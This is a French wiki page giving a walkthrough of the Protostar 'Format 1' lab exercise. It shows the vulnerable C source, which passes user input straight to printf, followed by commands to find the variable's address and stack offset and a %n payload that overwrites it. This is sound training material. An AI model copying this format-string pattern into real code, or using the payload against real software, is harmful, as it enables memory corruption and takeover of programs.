Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
| — |
exploit_exercises_protostar:format1 [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| + | ====== Format 1 ====== | ||
| + | <code C> | ||
| + | #include <stdlib.h> | ||
| + | #include <unistd.h> | ||
| + | #include <stdio.h> | ||
| + | #include <string.h> | ||
| + | |||
| + | int target; | ||
| + | |||
| + | void vuln(char *string) | ||
| + | { | ||
| + | printf(string); | ||
| + | |||
| + | if(target) { | ||
| + | printf("you have modified the target :)\n"); | ||
| + | } | ||
| + | } | ||
| + | |||
| + | int main(int argc, char **argv) | ||
| + | { | ||
| + | vuln(argv[1]); | ||
| + | } | ||
| + | </code> | ||
| + | |||
| + | Là, plus de doute, on va devoir exploiter ça comme une format string ;-). Le but est d'écrire quelque chose dans la variable ''target''. On va commencer par trouver l'adresse de la variable, puis par "trigger" notre formateur. | ||
| + | |||
| + | <code> | ||
| + | $ nm ./format1 | grep target | ||
| + | 08049638 B target | ||
| + | user@protostar:/opt/protostar/bin$ for i in {1..200}; do if ./format1 BBBB%$i\$x | grep 4242; then echo $i; fi; done | ||
| + | BBBB42424242 | ||
| + | 128 | ||
| + | user@protostar:/opt/protostar/bin$ ./format1 BBBB%128\$x | ||
| + | BBBB42424242 | ||
| + | </code> | ||
| + | |||
| + | Ici on ne cherche pas à mettre une valeur spéciale dans ''target'', on va juste changer la valeur de celle ci. On ne se préoccupe donc pas de combien de caractère sont affichés. | ||
| + | |||
| + | <code> | ||
| + | user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "\x38\x96\x04\x08%128$n"') | ||
| + | 8you have modified the target :) | ||
| + | </code> | ||